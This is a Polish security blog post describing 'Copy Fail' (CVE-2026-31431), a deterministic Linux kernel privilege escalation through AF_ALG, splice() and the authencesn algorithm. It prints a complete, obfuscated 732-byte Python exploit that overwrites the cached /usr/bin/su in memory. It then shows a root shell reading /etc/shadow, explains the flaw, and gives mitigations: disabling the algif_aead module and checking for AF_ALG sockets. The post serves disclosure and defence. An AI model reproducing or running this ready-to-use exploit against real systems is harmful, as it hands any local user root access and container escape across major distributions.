NFsec Logo

Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem

Dzisiaj w Bezpieczeństwo Możliwość komentowania Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem została wyłączona

P

ojawiła się jedna z najbardziej znaczących luk w zabezpieczeniach jądra systemu Linux ostatnich lat. „Copy Fail”, zidentyfikowana jako CVE-2026-31431, pozwala dowolnemu lokalnemu użytkownikowi na uzyskanie uprawnień administratora w niemal każdej popularnej dystrybucji wydanej po 2017 roku. W świecie cyberbezpieczeństwa błędy typu Local Privilege Escalation (LPE) często wymagają skomplikowanych technik, wyścigów procesów (ang. race conditions) lub precyzyjnego dopasowania do konkretnej wersji jądra systemu. „Copy Fail” przełamuje ten schemat. Jest to błąd logiczny, który jest w pełni deterministyczny, nie wymaga „wyścigu” i działa za pomocą krótkiego, 732-bajtowego skryptu w Pythonie, który nie wymaga nawet kompilacji:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=\
a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=\
t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)\
,],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b061\
0af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e\
10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Rekonstrukcja kodu wymaga usunięcia znaku "\" na końcu linii:

agresor@darkstar:~$ chmod +x sploit.py
agresor@darkstar:~$ ./sploit.py
# id
uid=0(root) gid=1000(agresor) groups=1000(agresor)
# head -1 /etc/shadow
root:*:20135:0:99999:7:::
# head -1 /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"

Luka bierze się z nieszczęśliwego splotu trzech niezależnych funkcjonalności jądra, które osobno są bezpieczne, ale razem tworzą krytyczną podatność (coś na wzór chained vulnerability):

  • Interfejs AF_ALG: Pozwala on programom w przestrzeni użytkownika na korzystanie z algorytmów kryptograficznych jądra. Jest on domyślnie dostępny dla nieuprzywilejowanych użytkowników.
  • Funkcja splice(): Służy do wydajnego przesyłania danych między deskryptorami plików bez kopiowania ich do przestrzeni użytkownika.
  • Optymalizacja in-place w AEAD: Wprowadzona w 2017 roku zmiana w pliku algif_aead.c pozwoliła na wykonywanie operacji szyfrowania / deszyfrowania w tym samym obszarze pamięci (źródło i cel są identyczne).

Przebieg ataku jest następujący: otwierane jest gniazdo AF_ALG i wybierany algorytm authencesn (uwierzytelnione szyfrowanie). Następnie używa splice(), aby przesłać dane z pliku systemowego (np. /usr/bin/su), który jest tylko do odczytu, do gniazda kryptograficznego. Błąd polega na tym, że podczas operacji deszyfrowania algorytm authencesn wykonuje tzw. scratch write – zapisuje 4 bajty numeru sekwencyjnego (seqno_lo) do bufora docelowego. Ponieważ dzięki splice() bufor ten wskazuje bezpośrednio na page cache (tutaj: pamięć podręczną stron pamięci) danego pliku w jądrze, system operacyjny nadpisuje fragment pliku w pamięci RAM.

Dlaczego ta luka jest groźna? Ponieważ skrypt działa bez modyfikacji na wielu dystrybucjach (Ubuntu, Amazon Linux, RHEL, SUSE i innych) korzystających z jąder wydanych po 2017 roku. Ponadto modyfikacja prowadząca do eskalacji uprawnień następuje tylko w pamięci RAM (wspomniany page cache), a plik na dysku twardym pozostaje niezmieniony – dlatego tradycyjne narzędzia sprawdzające integralność plików niczego nie wykryją. Ze względu na fakt, że page cache jest współdzielony przez wszystkie procesy na hoście, w tym przez kontenery – oznacza to, że atakujący może przeprowadzić ucieczkę z kontenera i przejąć kontrolę nad całym węzłem (np. w klastrze Kubernetes), modyfikując pamięć podręczną plików systemowych hosta.

Głównym rozwiązaniem jest aktualizacja jądra systemu do wersji zawierającej poprawkę (revert błędnej optymalizacji algif_aead.c do out-of-place). Tymczasowym jest wyłączenie modułu algif_aead i restart systemu:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

Dla wielu standardowych systemów nie powinno mieć to negatywnego impaktu na ich działanie. Jeśli jakaś aplikacja używała algif_aead, po jego wyłączeniu po prostu przełączy się na standardowe biblioteki kryptograficzne (np. OpenSSL działający na CPU). W większości przypadków różnica w szybkości jest niezauważalna dla człowieka. W razie wątpliwości możemy za pomocą poleceń:

# lsof | grep AF_ALG
# ss -xa

sprawdzić czy w systemie nie są otwierane gniazda typu aead.

Więcej informacji: copy.fail, Copy Fail: 732 Bytes to Root on Every Major Linux Distribution, Ubuntu CVE-2026-31431, RedHat CVE-2026-31431